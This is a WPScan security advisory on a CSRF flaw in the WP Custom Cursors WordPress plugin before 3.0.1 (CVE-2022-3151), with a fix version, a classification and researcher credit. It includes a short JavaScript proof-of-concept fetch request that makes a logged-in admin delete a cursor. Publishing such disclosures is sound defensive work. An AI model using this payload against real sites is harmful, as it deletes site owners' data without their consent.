WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

WP Custom Cursors < 3.0.1 - Arbitrary Cursor Deletion via CSRF

Description

The plugin does not have CSRF check in place when deleting cursors, which could allow attackers to made a logged in admin delete arbitrary cursors via a CSRF attack. 

Proof of Concept

Make a logged in admin open a page with the following JS code:

fetch('https://example.com/wp-admin/admin.php?page=wp_custom_cursors', { 
method: 'POST', 
headers: new Headers({ 
'Content-Type': 'application/x-www-form-urlencoded', 
}), 
body: 'submit&delete_row=1' 
}).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));

This will make them delete the cursor with ID 1 

Affects Plugins

wp-custom-cursors
Fixed in version 3.0.1

References

CVE
CVE-2022-3151

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Lana Codes

Submitter

Lana Codes

Submitter website
https://lana.codes/
Submitter twitter
LanaCodes
Verified

Yes

WPVDB ID
27816c70-58ad-4ffb-adcc-69eb1b210744

Timeline

Publicly Published

2022-09-21 (about 8 months ago)

Added

2022-09-21 (about 8 months ago)

Last Updated

2022-10-04 (about 7 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us